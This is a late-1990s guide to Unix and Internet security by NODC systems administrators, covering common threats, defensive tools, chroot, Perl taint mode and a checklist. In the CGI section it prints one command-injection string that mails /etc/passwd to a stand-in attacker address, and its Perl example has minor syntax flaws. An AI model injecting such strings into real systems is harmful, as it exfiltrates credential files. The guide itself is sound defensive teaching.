Special note for nyu.edu users: Presumably you are taking a security class; that is why I see frequent hits in my web logs with referrer URLs indicating reference from the courses.stern.nyu.edu web server. It may interest you to know that these referrer URLs include valid credentials for hijacking your login sessions on the stern.nyu.edu site. This little fact might amuse your instructor.

An Overview of Internet Security
Jefferson Ogata <jogata@nodc.noaa.gov>
Eric Ogata <ogata@nodc.noaa.gov>
Joseph Shirley <jshirley@nodc.noaa.gov>

This document describes some of the common weaknesses in Internet systems, and identifies resources and tactics for making systems more secure. Opinions and suggestions are those of the author, and should be compared with the advice of others having different views and experience. The authors are systems administrators at the National Oceanographic Data Center.

This document is focused on security for Unix hosts. Security for Windows and NT machines is a relatively undeveloped field, since these machines have only recently begun to act as critical servers. That issue will no doubt receive much more attention very soon, largely on account of the recent release of programs such as Back Orifice and NetBus. Some of the techniques for Unix machines (e.g. firewalls) improve the security of other host platforms also.

Why Internet Security?
Common Threats
Security Tools
Dos and Don'ts

Why Internet Security?

The past few years have seen an explosion in the number of machines using the Internet. The number of Internet hosts and users is skyrocketing -- one out of three Americans now lives in a home that has a computer with a modem. Among this population of new users is a burgeoning population of so-called malicious users. Meanwhile, the number of Internet servers is increasing in response to the higher demand for services, creating another increasing population of vulnerable machines. The fiercely competitive nature of the computer industry forces web services to the market at a breakneck pace, leaving little or no time for audit of system security, while the tight labor market causes Internet project development to be staffed with less experienced personnel, who may have no training in security -- some of whom are, in fact, malicious users themselves. And all this is happening under the mounting pressure of the inexorable deadline: midnight, January 1, 2000. This combination of market pressure, low unemployment, and rapid growth creates an environment rich in machines to be exploited, and users to exploit those machines.

The result is a rising frequency of high-profile compromises -- Pentagon, Department of Justice, Yahoo, New York Times, etc. The problem is worsening, and this trend shows no signs of abatement.

What, me worry?

Why should we worry about Internet security?

There are a lot of obvious reasons involving privacy, theft, liability, and loss of productivity. For most organizations, those reasons should place good security as a high priority. But there are some less obvious reasons as well, and I'll describe a few briefly.

(To keep things from getting too dry, and because I'm already tired of using the term "malicious user", let's imagine our enemy is a guy named Spike.)

First, let's assume Spike has managed to break into a user account on your Unix web server. From there he might attempt to break into another machine at  your site. He may have a real advantage attacking from the web server, because your other machines might leave more doors open to the web server than they would to arbitrary hosts. The habit of lowering defenses between machines within an organization is called trust, and it can be exploited in many ways.

Spike may also attempt to parlay his user privileges on your web server into root privileges. He can do this in numerous ways because, unfortunately, every Unix platform has a bevy of pores in the theoretical membrane between root and non-root users. So, even though you run your web server as a non-root user in view of the possibility of a breakin, you are still vulnerable to giving Spike full root access. Once Spike is root, you will most likely have to wipe the machine clean and reinstall everything from scratch, because you don't know what essential system programs Spike may have replaced with his own versions that leave him an ever-open back door. In addition, as root, Spike can sniff your network to pick up critical system information, such as passwords to accounts on other machines.

Then again, Spike may really have it in for you. Perhaps he's a former employee who not only has a grudge, but also has a lot of information about your network. In this situation, Spike may do harm to your systems that you may never detect -- corruption of databases, theft of personnel records, espionage, you name it. If your organization archives large amounts of data, think about the cost involved in inspecting all that data for modification. Would you even be able to detect modifications to your data?

The other hand

On the other hand, you will never be able to say with certitude that there is no way for Spike to get unauthorized access to your machine. There is always a gap between actual and ideal security. Every operating system has a constantly shifting frontier of security flaws, and it's impossible to be prepared for the vulnerabilities that haven't been discovered yet. So even if you spend every available minute improving the security of your machines, you must always accept some weakness as part of the overall system. At some point, there is a diminishing return on adding certain security measures, and where to draw the line is a judgement call that must be made by the administrator. You might think of that limit as a security asymptote of sorts.

Nonetheless, there are ways to design your network services to reduce the impact of a breakin.

There are also fundamental maintenance procedures that you can follow once things are set up. In my opinion, it is most crucial to keep informed about current vulnerabilities in the operating systems used at your site. This makes it possible for you to stay a step ahead of Spike by patching up the holes before he finds them. Another ongoing task is to check system and firewall logs for unusual activity.

Time, resources, and authority

Of course, I've been making a naïve assumption here: that the system administrator has the time, resources, and authority to enact policies about how the system is constructed and used. To many managers and designers of network services, security is truly an afterthought. These folks work under the principle that if a weakness is found it can be patched up later, and some of them give no thought to security at all. Consequently, they don't budget any time or resources for security assessment, and deploy systems with amazing weaknesses. You might have an uphill battle trying to make good security a design goal in the next deployment of an online commerce system. If so, I don't have a solution, but I feel your pain, buddy.

The C.I.A. of security

It is helpful to divide Internet security into three areas:

1. Confidentiality -- restricting access to information to authorized users. Passwords and other authentication keys and credit card numbers are obvious examples. Often, areas of web and FTP sites have restricted access. Cracking of passwords and circumvention of normal access restrictions are breaches of confidentiality. Confidentiality may be enforced by a combination of system usage policy, OS-based access control, and data encryption.
2. Integrity -- ensuring that stored data and data in transit are not modified unintentionally or maliciously. For many organizations, the primary source of revenue is actually data of one form or another. Integrity may be protected through digital signatures, backup strategies, and access control. Integrity and confidentiality are very interdependent: for access control to work, authentication keys must have good integrity, while the maintenance of good data integrity is a form of access control.
3. Availability -- ensuring that network services are not interrupted unintentionally or maliciously.

Administrators refer to these three areas collectively as the C.I.A. of security. By identifying the priorities of these three areas in your network, you may be able to allocate resources more efficiently.

Common Threats

Here are some common security vulnerabilities to watch out for. This list is not comprehensive. Some of these may sound complex enough that only the wiliest cracker could exploit them. Unfortunately, this is not the case. Programs to exploit these and many other vulnerabilities are widely available on the Internet, and are commonly used by people who did not write them and do not understand how they work. Spike is not a supergenius. In fact, he's not really that clever. He's just got a lot of time on his hands.

Buffer Overruns

Many of the programs commonly used on Unix systems were written at a time when security was considered less important -- most Unix users were academics doing research, the Internet was small, and the volume of information on publically accessible systems was very limited. Because of this relaxed attitude toward security, programmers availed themselves of certain convenient ways to write their code. One of these conveniences was the use of gets(), a C library call that reads a line from a file or network connection into a supplied buffer until it finds a newline, then returns the result. Unfortunately, gets() doesn't know the size of the buffer it is filling, so it is possible for it to write beyond the end of the buffer. Since buffers often reside on the program stack, it is then possible for gets() to write data into the stack, overwriting the contents of other variables, and even changing the control flow of the program.

Here is a scenario where this casual use of gets() can be exploited to gain unauthorized access to a computer system: a system is running the finger daemon, which runs with superuser privileges whenever a remote system establishes a network connection to TCP port 79. The daemon then reads a username from the network connection using gets(), and generates a report of the active sessions currently running for the user. To exploit this situation, Spike runs a program that connects to port 79, then transmits a string that is specially tailored to write beyond the end of the buffer the finger daemon supplied for the username. The string actually writes machine code into the buffer instead of a username, and overwrites the return address on the stack causing the new buffer code to execute when gets() returns. This allows a remote user to execute arbitrary code as root on the vulnerable system, thereby giving Spike full superuser access to your machine. This particular technique was exploited by the Internet worm of 1988. For those of you who do not remember the Internet worm, he was a guy named Robert T. Morris.

One would think that an breakdown as massive in scope as the Internet worm catastrophe would have alerted programmers to the necessity of bounds-checking buffered reads, yet buffer overrun vulnerabilities are continually being identified and corrected in new code. gets() isn't the only culprit -- programmers persist in cutting corners, and these vulnerabilities have recently been found in cutting-edge applications such as Microsoft Outlook and Netscape Messenger. The best way to combat these vulnerabilities is to keep your software fully patched and stay up to date on security advisories. Check the security-related sites and mailing lists for information on current buffer overrun vulnerabilities, and patch them as quickly as possible.

Weak Passwords and Packet Sniffing

It is commonplace for users to choose passwords they can remember easily at the expense of good security. Systems administrators should run password-cracking software periodically to detect weak passwords. It helps to have some kind of policy regarding password content, although a too-restrictive policy can actually weaken security by reducing the domain of possible passwords. Many sites have policies requiring users to change their passwords periodically. One-time password systems are another somewhat inconvenient, but effective solution.

If you have remote users connecting to your machine using telnet, a POP daemon, rsh or rlogin, or certain other services, their passwords are being transmitted across the Internet in an unencrypted form. Anyone who has administrative access to an intervening router, or to a host on a hub with such a router can extract these passwords from network traffic by writing a program to receive the packets as they go by. To protect your systems you must use encryption software to encrypt the network connections, minimize the privileges you are granting to remote users, and place IP-address-based restrictions on who can access those services. For example, using TCP Wrappers, you can specify that telnet services are available only to machines in a range of IP addresses, or in specific DNS domains (but see cautions below regarding IP and DNS spoofing).

It is also useful to run some services in restricted environments, such as a chrooted hierarchy. This allows you to create user accounts that exist solely for particular services. For example, if you run your POP daemon in a chrooted environment, the /etc/passwd file can be tailored specially for your POP users, and need not contain any password information that would help Spike gain telnet or other access to the system. You will find further discussion of the chroot() call below.

Where possible, encryption is a good foil for sniffing. A virtual private network (VPN) is a system for encrypting traffic across links where sniffing is likely. On a smaller scale, there are protocols such as Kerberos, APOP, and SSH, that use encryption to provide authentication without revealing passwords in plain text form. These are generally challenge-response systems, in which the server sends a message to the client, the client encrypts the message using a secret key and returns the encrypted message to the server, and the server decrypts the message using its own key. If the original message is recovered, the client's key must match the server's key. Challenge-response authentication systems are becoming more commonly used, but there remain countless users of plaintext password authentication, the aforementioned telnet, POP, and rsh being perhaps the worst culprits.

Email Vulnerabilities

Electronic mail transmission is a very complex problem, because of the multitude of addressing schemes and delivery mechanisms, and because it has several phases, each of which has its peculiar weaknesses. This section is a summary of the electronic mail system and its hazards.

Suppose Spike wants to send you email using his favorite email program, Pony Express (PE). There are several reasons not to burden PE with the general problem of getting the mail to your mailbox, so all PE does is forward the mail to a program running on a machine supplied by Spike's ISP, for handling. Here, Pony Express is a mail user agent (MUA), and the program handling the mail is a mail transfer agent (MTA). In most cases, the MTA will be Sendmail, which has been the Internet's workhorse MTA for many years. Any mail transfer agent (MTA) is a very complex program, and it fits into the overall system design in a multilayered way. This has two ramifications:

1. Administrators who truly understand their MTAs are relatively few, because learning the details is a very time-consuming task, which should be unimportant compared with other security issues. Usually, the system is made to work, sometimes not well, but well enough, and then never touched again for fear of breaking it.
2. Security flaws in MTAs are relatively difficult to identify, because the code is so complex.

The Internet worm successfully invaded many systems via a back door in Sendmail that had been left open by many vendors simply because it made it easier to debug email problems. That back door is now closed (one hopes!), but the underlying problem remains: configuring an MTA is complex and time-consuming. As a result, all too often it is done in a marginal way.

There are also denial-of-service problems at the MTA level. Spike might mailbomb one of your users, sending a high volume of mail that overwhelms the processing and storage capacity of your mail server. Or Spike's brother Wallis might use your mail server as a relay for his unsolicited commercial email (UCE or spam), because it disguises his identity and because he can send more spam by using your machine to do the hard work.

To perform final delivery of mail, an MTA runs a mailer program to write the mail into a mailbox. Under Sendmail, mailers are external programs, some of which have special purposes, e.g. vacation, for notifying senders of the recipient's temporary absence, and procmail, for filtering mail into different mailboxes according to content. (Recently, a vulnerability was reported in the vacation program delivered with Sun Solaris.)

Once the mail is delivered to a mailbox, it is usually retrieved by the recipient user via a POP or IMAP daemon. POP daemons are a real problem: most of them use plain text password authentication, and many Unix systems are set up so that a shell account exists for each POP user, having the same username and password. This means that a sniffed POP password in many cases will provide telnet access to the system the POP daemon runs on. Beyond that issue, there have been recent reports of buffer overflows (yet again) in POP and IMAP daemons.

Finally, the user reads the mail. There has been a recent plethora of security-related bugs reported in popular mail user agent (MUA) programs: Eudora Pro 4.0, Netscape Messenger, and Microsoft Outlook. These are, yet again, buffer overflow vulnerabilities.

At every stage of mail delivery there are potential security vulnerabilities. All you can do about MUA problems is to keep your software up-to-date and watch for security advisories. But you can do a lot about the other phases. Again, chroot() is your friend.

IP Spoofing and Connection Hijacking

On a Unix machine there is a network layer between a non-root user and the actual network device. This layer prevents the transmission of arbitrary network traffic, and places limits on the range of connection ports available to the user. A Windows machine has no such restrictions, however, nor does a Unix system under the control of the superuser. In essence this means that you cannot trust the TCP/IP protocol. A Windows user is free to send traffic to your machine that appears to come from some other IP address, a technique known as IP spoofing. In addition, using source routing, packet sniffing, or TCP sequence number prediction, the user may even be able to establish a working, bi-directional TCP connection to your machine in the guise of another machine.

Does this mean that IP-based access controls are useless? Not at all -- they protect against compromise attempts that do not involve IP spoofing (the vast majority), and some of those that do. It does mean, however, that TCP Wrappers alone is not sufficient protection.

To protect against IP spoofing attacks, disable source routing in your routers or firewalls, use encryption software wherever possible to authorize incoming connections according to a secret key, and don't trust the source address of incoming IP traffic, particularly connectionless traffic such as UDP. You should also configure your router or firewall to reject incoming traffic that is obviously spoofed -- that is, traffic entering your network from an external interface, yet having an IP source address belonging to your internal network. In addition, some operating systems have a kernel variable that sets the method used for generating initial TCP sequence numbers. Make sure this variable is set to the least predictable strategy available.

Connection hijacking is the use of various spoofing, sniffing, and guesswork techniques to take over a TCP connection. Many protocols perform authentication at the initiation of a connection, but conduct the remainder of the session without reauthenticating. By hijacking an already authenticated connection, Spike might take over your telnet session. Encrypted session protocols, such as SSH, are a good countermeasure: the connection can still be hijacked, but because the session data is encrypted using a secret key, the hijacker cannot inject valid data into the session. Connection hijacking is much easier if the attacking machine is fairly close, network-wise, to the victim machine. This is another way in which one weak machine on your network can compromise the security of other machines.

File Sharing

It has become commonplace for Windows and Unix users to share filesystems across the network using the Windows Server Message Block (SMB) and Unix Network File System (NFS) protocols. Usually they intend to provide access only to peers on their network, but configuring access control of shared filesystems is complex or confusing enough that many users do it incorrectly, leaving their filesystems open to users anywhere on the Internet. A firewall can be tuned to keep malicious users out of your shared filesystems. This is one of the best reasons to have a firewall, especially with the proliferation of Windows machines. A writable SMB share on a Windows machine can become a backdoor into your entire network, as a malicious user can store a program on it enabling remote operation of the machine, and then circumvent many of your security measures by coopting the trust vested in that machine. Similarly, a writable NFS home directory is a golden opportunity for Spike to plant booby traps and, if your system uses .rhosts files, just log right in, with no password required.

RPC Services

Remote Procedure Call (RPC) protocol is an application protocol used in certain high-level network services, a prime example of which is NFS. The RPC portmapper program, which maintains a table of dynamically allocated ports for RPC-based services, is often vulnerable to exploits, as are some of the common RPC services. Because most RPC services may run on a different port each time they are started, it is difficult to configure a firewall to protect these services. The portmapper itself, which runs on a fixed port (111) may be protected by a firewall, or by using a version of the portmapper with IP address-based access control, such as Wietse Venema's secure portmapper. However, the portmapper is nothing more than an index of services; Spike may still discover your RPC services themselves by scanning ports on the victim machine. Certain RPC services, such as NFS, run at a fixed port (2048 or 2049), which may easily be protected by a firewall. One important step you can take is to minimize the number of RPC services you are running on your machines. rpc.statd, in particular, is one to turn off right away -- there have been well-published exploits of, you guessed it, buffer overflows against this program.

X Windows Servers

Be sure you fully understand the X Windows security model before you operate an X server outside a well-configured firewall. If Spike gains access to your X server, he can exploit it in a number of ways, not least of which is to run a program that captures all your keystrokes, including passwords, without your knowledge.

Denial of Service

There are a number of denial-of-service attacks based on certain quirks of the TCP/IP protocol -- or vendors' implementations of the protocol. These include the Teardrop, Land, smurf, and SYN attacks. Again, a firewall is a good way to protect against these attacks. Routers also can provide some measure of protection. These attacks don't help Spike get unauthorized access to your system, but they can bring your network to its knees or crash your servers.

DNS

DNS is the Domain Name System -- the software and protocols used throughout the Internet to resolve host names into IP addresses, which are necessary for routing traffic to its destination. Most DNS queries are handled by the Berkeley Internet Name Daemon (BIND), which is susceptible to an exploit called DNS cache poisoning. When a remote name server responds to a lookup, it may include not only the answer for the name being queried, but also answers for other names, even names in domains it is not an authority for. These answers go into the cache of the name server making the query, and may be provided to other machines that query that server. This means that a remote name server can load your name server with incorrect DNS/IP address results. With IP spoofing and packet sniffing, a user anywhere in the world might be able to load your name server with incorrect addresses, by pretending to be a name server you are querying.

This is a serious problem if you are using DNS hostnames as a part of your network security. Suppose you configure TCP Wrappers to reject all telnet connections except those originating in the domain friendly.com. Spike can circumvent this measure by persuading your DNS server that the IP address he is using belongs to the friendly.com. As the French say, "Voila!"

There are also, naturally, known buffer overflow exploits against some versions of BIND.

The answer here is to make sure you are running the latest version of BIND. There is a vendor patch for most operating systems that will correct the buffer overflow problems, and solve the cache poisoning problem. You can also download and build BIND yourself, although it is not for the faint at heart.

You should, however, use numeric IP addresses wherever possible when you configure security-related software, such as in firewall rules, or TCP Wrappers configuration files. Even though it is may be inconvenient to keep these files up-to-date with IP address changes, it is also very dangerous to use on DNS to determine relationships of trust. You may be able to use hostnames if you keep an up-to-date /etc/hosts file. But be mindful that DNS is not a completely trustworthy system.

Viruses and Trojan Horses

Beyond the traditional threat from viruses and trojan horses, there are a few new hazards. Using MIME-compliant mail readers, Windows users regularly send executable files as email attachments, creating a huge opportunity for the spread of virus-infected software. The recent revelations of MIME-handling bugs in Microsoft Outlook and Netscape Messenger exacerbate this problem. There have also been a number of cases of programs being distributed in the guise of security software, which actually install Back Orifice instead, and announce the fact on the IRC.

Make sure you have the latest patchlevels of mail and browser programs, bleeding edge virus software, and a policy regarding transmission and receipt of email attachments.

CGI

If you maintain a web site that uses CGI, you must take extra care to inspect all CGI scripts for potential security weaknesses. This can be a huge task, especially on an active web site. Perl, while an extremely useful and convenient language for CGI, also makes it downright trivial to write programs with big fat holes in them.

The real solution is to require security training for all your CGI programmers. They need to be acquainted with the techniques that Spike might use to break into your web server, or they simply won't understand why certain practices (e.g. backquoted expressions containing text from form fields) are dangerous. Ideally, CGI should be written by experienced users of the system the CGI will run on, with a good grounding in system security.

Another step you should take is to chroot your web server. If Spike finds a vulnerability in one of your CGIs, this will put him in a box where he can't do so much damage, and he won't have access to the system password file and a great deal of system configuration information.

Security Tools

Security-Related Websites and Newsgroups

Most malicious users aren't devising new exploits on their own. They get techniques and code from newsgroups and websites. You can operate a far more secure network by knowing what exploits are in vogue. Keep up to date on current exploits by visiting the CERT and CIAC sites, underground sites, and other security-related sites and newsgroups frequently.
 

Vendor Software Patches

Always keep your machines up-to-date on your vendors' software patches. Vendor patches fix problems that may have been discovered months or even years before the patch release. Visit the websites of the vendors of all your software for updates periodically.

Understanding TCP/IP

A solid understanding of IP, TCP, and UDP protocols is essential for protecting your network. Many exploits depend on some of the lesser-known features of these protocols. Here are some resources for learning the real workings of the Internet. You might find these useful even if you already have a good understanding of the underlying protocols.
 

Firewall Software and Hardware

First, a few words about firewalls. For a firewall to be an effective security measure, you must do a number of things:

1. Understand how TCP/IP works, especially TCP, UDP, and ICMP.
2. Understand IP routing.
3. Know how to use sniffing tools, such as etherfind, snoop, and tcpdump.
4. Understand your firewall software. Most firewalls consist of several components, such as packet filters, application proxies, logging and monitoring facilities. Learn what the capabilities are, and use them. Don't think of a firewall as a turnkey solution. (Vendors of quality burglar alarm systems install each system in a unique way.)
5. Understand the traffic that needs to traverse your firewall. Understand the application protocols you are letting through. Certain services, such as ftp and rsh, have odd back-connection habits you will have to work around in your firewall rules. One of the biggest benefits to having a firewall is that it will teach you what your network is being used for. This kind of knowledge helps you plan improvements to your network and gives you an advantage in correcting problems when they come along.
6. Use the different parts of your firewall in appropriate ways. For example, if you have an FTP application proxy, use that instead of leaving many holes in the firewall for FTP data connections.
7. Watch the firewall logs. If necessary, write analysis tools to help you make sense out of the traffic.
8. Keep your guard up behind the firewall. If Spike does find a way through the firewall, don't give him free rein to the network you were supposed to be protecting. Installing a firewall doesn't mean you can relax your security on the inside. It means you have more time to analyze the anomalies, because hopefully there will be fewer of them.

There are many firewall solutions available, both commercial and freeware. Commercial solutions usually provide a GUI for configuration and monitoring. Here is a sample.
 

Private IP Addressing

A few years ago, the Internet adopted a standard for numbering IP networks that don't need to be reached directly from the Internet. This decision was motivated by the rapid consumption of the IP address space. Many address blocks were being allocated to "enterprise" networks, which would use large portions of them for machines that didn't really need access to the Internet, or that could receive access via some proxy. As firewalls are becoming commonplace, so are application proxies that hide the internal addresses of the enterprise. So for many networks, it is not necessary to have more than a handful of IP addresses that could be reached from another arbitrary location on the Internet.

According to the standard, any IP address in certain address ranges is a private address. Internet routers generally cannot route to these addresses, as there is no authoritative location for them. If you have a firewall with network address translation features or application proxies, you can number your internal network with private addresses. This protects you because there is no way for traffic to reach your machines from the Internet other than through proxy port numbers on the firewall itself. Behind the firewall, the effect is transparent, but from the outside, your address space is invisible. The table below summarizes the address ranges for private networks.
 

Logging, Monitoring, and Intrusion Detection

Protecting your network is an active process. If Spike tries to break in, you'll want to be informed, so you can take further steps to protect yourself. And if he succeeds in breaking in, you'll definitely want to know, so you can eliminate the vulnerability he exploited.

Systems should be configured to log authentication and security data, with the log daemon, syslogd. Syslogd options are set in /etc/syslog.conf. In addition to being saved in the local system log, important events should be sent to a central  logging host. This host should have some sort of utility configured to monitor the system log and notify administrators via email or paging options when events occur that match patterns of interest. In general it is a good idea to filter out known, routine events and generate all notifications on all others. One freely available utility that can do this is Swatch. Swatch can be configured to watch any file of interest, which in addition to the system logs may include the sulog file, or firewall event files, for example.

In addition to watching the system logs, monitoring network traffic for known attack patterns is a good idea. There are several commercial products available to do this. One of the more popular ones is RealSecure from Internet Security Systems.

Other general system and network monitoring utilities are also useful both for general monitoring and for security. Big Brother is a freely available utility for monitoring such things as connectivity, web and mail server availability, and disk and cpu usage. There are numerous commercially available monitoring programs for networks and machines. These include Trend from Desktalk and Network Health from Concord.
 

Backups, Signatures, and Disaster Recovery

Checksums or digital signatures of critical system configuration files provide a mechanism to detect unauthorized changes to the system and to determine what files may have been modified. This provides the administrator with the means to determine whether a problem exists and if so, what files may have been altered by the intruder. Tripwire and the ISS System Security Scanner provide for detection of possibly malicious alteration by allowing for the collection of digital signatures and file permissions information. This information should be stored on read-only media and compared against the existing system at regular intervals. Any change in the digital signatures or permissions computed against critical system configuraton files or other system programs could reveal changes made by our friend Spike to provide for future unauthorized access. These changes might be made to interfere with the current operation of the system, or to allow Spike and his friends to cache unlicensed software, video games or pornography on the system for distrubution to other like-minded individuals. Digital signatures can also be collected to allow for regular scans of archived data which could reveal damaged or maliciously altered files. These scans need to be done regularly so that damaged files or unauthorized use can be detected and recovery at the earliest possible moment.

In the case where it has been determined that Spike has compromised a system. It will be important to determine when the compromise first occurred and what alterations were made. It will likely be necessary to wipe the entire system and restore a working system from backups made prior to the intrusion. Restoring system backups made after the intrusion occurred is likely to result in the re-creation of a compromised system with Spike's personal trapdoors thoughtfully re-enabled for his future use. Large data-archives (Terabyte) may be impractical to wipe and restore and probably require special care to avoid contamination. Imagine the difficulty of locating a few hundred megabytes of pirated video games and pornography that have been carefully concealed in a multi-terabyte data archive. Digital signatures can be very helpful in this regard. Alterations may have occurred due to misfiling, system or hardware failure, extremely devious and subtle alteration by a dusgruntled employee or many other reasons.

Regular backups of systems and data archives are necessary to allow for recovery from disaster. Recovery from backup may be required due to system hardware failures or because Spike was having a bad day or just plain has it in for you.
 

A few words about chroot

The Unix chroot() call and the chroot program change a process's filesystem root. This lets you tailor a stripped-down hierarchy containing only the files necessary for your network service, and then run the service daemon chrooted to the hierarchy. Every path the daemon accesses is relative to the new filesystem root. The various system files, such as /etc/passwd, are thus just placeholders specific to the service you are running, and need not contain any unnecessary passwords or userids, while the real /etc/passwd is out of reach of the daemon. For example, let's suppose your web server is running chrooted to /usr/webroot. If the server tries to open /etc/passwd, it will actually open /usr/webroot/etc/passwd.

Once a process has been chrooted, it and its children are forever confined by the new hierarchy: there is no way to undo a chroot() call. This means that even if Spike compromises your chrooted daemon, he cannot access critical system files, or, in fact, any files outside the directory you set up for the daemon to run in.

The biggest hassle in setting up a chroot() hierarchy is finding the files your daemon needs in order to run. Some of the more difficult files to nail down are the library files in /usr/lib. You'll want to learn how to debug the linker -- read the man page for ld, and you may find the system call tracing programs, such as truss on Solaris, and par on IRIX, helpful. Many operating systems include a program called ldd that identifies the dynamic libraries required for a given binary. Solaris also has a program called pmap which prints the memory map of a running process; since dynamic libraries are mapped into a process's address space, you can use pmap to discover what libraries are used by the program.

If you want the greatest benefit from using chroot(), run your service as a non-root user and eliminate all setuid privileges from the chrooted filesystem. Your goal is to make it impossible to acquire superuser privileges within the chrooted filesystem. Even though it is impossible to undo a chroot() call, a process with superuser privileges can create and use special files to access machine hardware directly, and perform filesystem surgery to create an escape hatch. Since executing the chroot() call requires root privileges, you must perform a setuid() after the chroot(). You can do this in the source code for your server, by putting the su command in your chroot hierarchy, or by using a separate program to perform the chroot and setuid first. Here is an example Perl script that does this. The benefit of the latter method is that you may get by having no su program and no /etc/passwd file in the chroot() hierarchy altogether, since your script can lookup the user information from the real /etc/passwd before it performs the chroot().

Using -T in Perl

Every Perl script should run with the -T flag. If it doesn't work with -T, work on it until it does. What does -T do? -T is the taint option. When running with -T, Perl associates each piece of data with a "taint" flag, which indicates whether the data is safe for use in an eval(), system(), or backquoted expression, or in a few other contexts. Any data you construct using tainted data is itself tainted. When you attempt to use a tainted string in a dangerous context, such as a call to system(), Perl will exit with a warning such as:

Insecure dependency in system while running with -T switch at -e line 1, <STDIN> chunk 1.

There are plenty of things you can do with a tainted string -- you can print it to a stream, you can find its length, etc. -- but you can't use it to do certain things that could have unintended system side effects.

When you read a string from a stream or from the environment, that string is automatically tainted. This means that all fields from a CGI form are tainted, since they come either from the CGI script's standard input or from the QUERY_STRING environment variable. Since form field values are often used by CGI scripts to form external commands, we need a way to "untaint" a string. The way to do this is quite simple: match the string with a regular expression surrounded by parentheses, and save the resulting positional parameters, which will not be tainted. Here's an example:

#/bin/perl -wT

use CGI;
my $cgi = new CGI;
my $id;

# You must set your PATH when using -T also.
$ENV{PATH} = "/bin:/usr/bin";

# Values returned by $cgi->param are tainted.
($cgi->param ('id') =~ /^(\d+)$/) && $id = $1;

# Now use $id any way you want to...
system ("echo \'ID is \"$id\"\'");

It's best to perform the untainting step on any string you accept from a form field, even if you don't intend to use it as an argument to a system call. For one thing, Perl allows you use a tainted value in the open() function, which might allow Spike to overwrite your log files or open your /etc/passwd file. It is essential coding practice to make sure your data matches the expectations of your CGI.

One trap some web authors fall into is believing that the placement of a SELECT menu in a form's HTML source somehow constrains the field value passed to their CGI. Spike doesn't care about your HTML form. He just uses it to find the names of the fields your CGI was expecting, then sets up his own form (or other strategy) for setting the field values to whatever he likes. In other words, you cannot rely on your CGI fields having any particular value. You must check them explicitly in your CGI. If you use the contents of an unchecked form field in a backquoted expression, Spike can perform any command he wants to as a side effect by embedding a string such as "; /usr/lib/sendmail spike@bozo.com < /etc/passwd" into the form field.

Note that the Perl script above sets the PATH environment variable before invoking any external command. This is another requirement of -T: you must set your PATH. This requirement stems from the fact that executing a Perl script that has setuid or setgid bits set on it implicitly turns on the -T flag. Setuid scripts that do not explicitly set their PATH before executing external programs allow Spike to assume the identity of the script owner in a shell quite easily by replacing an external program with a trojan horse of the same name, setting PATH to prefer the trojan horse, and running the setuid script to execute the trojan horse program with the credentials and privileges of the script owner.

All Perl scripts should run with -T, not merely CGIs. Even though you have no intention of making your script run setuid, someone else may decide to invoke your script from another setuid script.

Dos and Don'ts

• Study your network traffic and develop a document describing what traffic is licit. This information will be essential when you install a firewall or intrusion detection system. Learn how to use snoop, tcpdump, etherfind.
• Install firewalls at your site. This is like quitting smoking -- it won't necessarily save you from disaster, but it's the most effective single step you can take to improve your health.
• Use private IP addressing wherever possible. This generally requires installation of a suitable firewall with some combination of application proxies and network address translation.
• Once you've installed a firewall, monitor the log files. Locate or write tools to help you detect suspicious network activity.
• Filter out traffic with IP source routing at your firewall or router.
• Use switched network hubs to reduce the scope of packet-sniffers.
• Use intrusion detection software to monitor your network for suspicious activity.
• Periodically run security auditing software, such as SATAN and COPS, against your network.
• Build a checklist of security checks for your machines, and go through the checklist periodically.
• Use cryptographic signatures to detect modification of system files.
• Cryptographically sign your incoming archive data as close to the source as possible, and keep the signatures on write-once media. This has the added benefit of enabling you to detect incomplete or garbled file transfers.
• Install and maintain virus protection software on all networked Windows machines.
• Minimize the number of platforms and OS revisions at your site. Every OS revision means a new set of vendor patches to keep up with, and a set of revisions and patches for all vendor and free software you install. Limiting your OS gamut leaves you more time for securing each platform.
• Keep all operating systems and software patched to the latest stable patchlevel.
• Join CERT, CIAC, Bugtraq and all vendor security mailing lists.
• Build and install ssh on all machines that support remote login. ssh is rapidly becoming the standard method for remote access, and it has many benefits, including encryption and compression of session data, protection against man-in-the-middle attacks, protection against connection hijacking, and more.
• Disable rsh, rlogin, and telnet access to machines. These programs commonly transmit passwords as cleartext, and the rsh protocol makes firewall configuration difficult because it performs very silly dynamic port number negotiation. Allowing rsh protocol through your firewall creates a large, ugly hole.
• Periodically run password guessing software to detect weak user passwords. Require users to change their passwords on a regular basis.
• Set up a one-time password system for remote logins.
• Delete defunct employee accounts in a timely manner. Have a procedure in place for archiving home directories.
• Turn off unnecessary services in /etc/inetd.conf. You may not even need to run inetd on many machines. Use netstat -a to discover what services you are running.
• Eliminate any RPC services that are not absolutely necessary. Use rpcinfo -p to discover what RPC services you are running.
• Use TCP Wrappers to control and log access to your TCP services.
• Check your versions of IMAP and POP servers and upgrade them immediately if they are not current. There have been numerous vulnerabilities in these programs, and they are being actively exploited.
• Keep shells out of the hands of unauthorized users. There's no end to the headaches you will suffer if you let Spike get root privileges on your machines, and if he can get a user shell, there's a good chance he can get root also. Even without root, a shell is an extremely valuable asset to Spike, and most of his energy will be devoted to getting one.
• Mirror system logs to a dedicated log host. Spike's first step after breaking into your machine will be to erase all traces of the intrusion from the system's log files. If syslog is configured to log messages to a remote machine as well, Spike won't be able to get at them.
• Document every step of the installation and setup of each machine. If you should have to wipe a machine clean because of a serious compromise, you will be able to reconstruct it far more easily if you kept track of everything you did. This documentation should be an integral part of a sitewide disaster recovery program.
• Keep a frequent schedule of backups. This is another crucial part of your disaster recovery program.
• Keep a current set of backups in offsite storage.
• Budget time and funding for security training for users and systems administrators.
• Develop policy and documentation of disaster and intrusion recovery plans.
• Require users to read and sign an acceptable usage policy document.